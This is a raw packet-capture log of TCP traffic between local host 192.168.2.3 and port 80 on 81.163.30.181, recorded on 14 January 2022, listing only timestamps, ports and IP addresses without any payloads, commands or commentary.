Jan 14, 2022 20:24:09.158899069 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.158930063 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158967972 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.159007072 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.159044981 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.159084082 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.159125090 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.159163952 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.159204006 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.159244061 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.159281015 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.159321070 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.159359932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.159400940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.159507990 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.213140011 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.213193893 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.213264942 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.215924978 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.215966940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216006041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216046095 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216042995 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.216078997 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.216087103 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216129065 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.216130018 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216175079 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216212034 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216253042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216253996 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.216293097 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216295004 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.216331959 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216372013 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216411114 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216412067 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.216449022 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.216451883 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216492891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216530085 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216567993 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.216571093 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216610909 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216610909 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.216651917 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216691017 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216731071 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216732979 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.216782093 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216783047 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.216824055 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216862917 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216902018 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216902971 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.216941118 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.216943026 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.216980934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.217020988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.217078924 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.217080116 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.217118025 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.217118979 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.217159033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.217197895 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.217236996 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.217237949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.217276096 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.217279911 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.270828009 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.270890951 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.271003008 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.274758101 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.274805069 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.274817944 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.274843931 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.274884939 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.274933100 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.275161028 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275203943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275221109 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.275247097 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275286913 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275326014 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275331020 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.275365114 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275372028 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.275403976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275443077 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275459051 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.275484085 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275523901 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275562048 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275566101 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.275602102 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275614023 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.275641918 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275681019 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275719881 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275738955 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.275759935 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275784969 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.275801897 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275842905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275859118 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.275881052 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275921106 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275959969 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.275964022 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.275999069 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.276036978 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.276037931 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.276078939 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.276083946 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.276118040 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.276160002 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.276164055 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.276196957 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.276238918 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.276253939 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.276340961 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.276381016 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.276405096 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.328949928 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.328995943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.329036951 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.329077959 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.329109907 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.329160929 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.332344055 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.332386971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.332427025 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.332473040 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.332521915 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.332752943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334417105 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334506035 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334506989 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.334546089 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334585905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334624052 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334645033 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.334665060 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334686041 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.334706068 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334743977 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334781885 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334799051 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.334822893 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334835052 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.334861040 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334901094 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334939003 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334958076 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.334979057 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.334988117 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.335020065 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335057974 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335097075 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335110903 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.335136890 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335143089 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.335175037 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335212946 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335252047 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335268021 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.335290909 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.335292101 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335334063 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335371017 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335411072 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335418940 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.335449934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335455894 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.335489988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335529089 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335566998 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335581064 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.335607052 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.335613012 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.386337042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.386382103 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.386421919 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.386461973 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.386488914 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.386513948 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.386538982 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.386563063 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.389256001 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.389297962 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.389336109 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.389358044 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.392085075 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392127037 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392167091 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392193079 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.392205954 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392222881 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.392247915 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392287970 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392324924 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392339945 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.392365932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392373085 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.392405033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392446041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392487049 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392498970 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.392524958 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392537117 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.392565966 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392644882 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392685890 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392698050 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.392724037 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392745972 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.392765045 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392808914 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392848969 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392860889 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.392889023 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392896891 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.392929077 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.392968893 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.393008947 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.393014908 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.393045902 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.393059015 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.393086910 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.393126011 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.393163919 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.393174887 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.393203974 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.393208027 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.393243074 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.393290997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.393347025 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.393359900 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.393409967 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.444940090 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.444991112 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.445025921 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.445061922 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.445097923 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.445131063 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.445172071 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.445194960 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.445274115 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.445286036 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.445991993 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.446029902 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.446065903 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.450136900 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450191975 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450247049 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450277090 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.450300932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450319052 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.450349092 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450387001 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450419903 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450442076 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.450455904 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450474024 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.450493097 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450526953 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450562954 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450577974 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.450598955 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450612068 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.450635910 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450673103 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450707912 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450722933 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.450743914 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450757027 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.450787067 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450829029 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450865030 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450886011 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.450901985 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450917006 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.450939894 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.450977087 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.451011896 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.451034069 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.451046944 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.451059103 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.451083899 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.451118946 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.451153994 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.451170921 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.451189041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.451200008 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.451226950 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.451263905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.451298952 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.451314926 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.451334000 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.451344967 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.451373100 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.452841997 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.509835005 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.509964943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510027885 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510090113 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510093927 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.510143042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510164976 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.510189056 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510230064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510267973 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510287046 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.510307074 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510314941 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.510348082 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510387897 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510426998 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510437965 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.510498047 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510509014 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.510539055 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510580063 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510617971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510637045 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.510658979 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510664940 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.510700941 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510739088 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510778904 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510790110 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.510821104 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510839939 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.510862112 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510904074 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510941982 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510958910 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.510982990 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.510987043 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.511023045 CET	80	49907	81.163.30.181	192.168.2.3
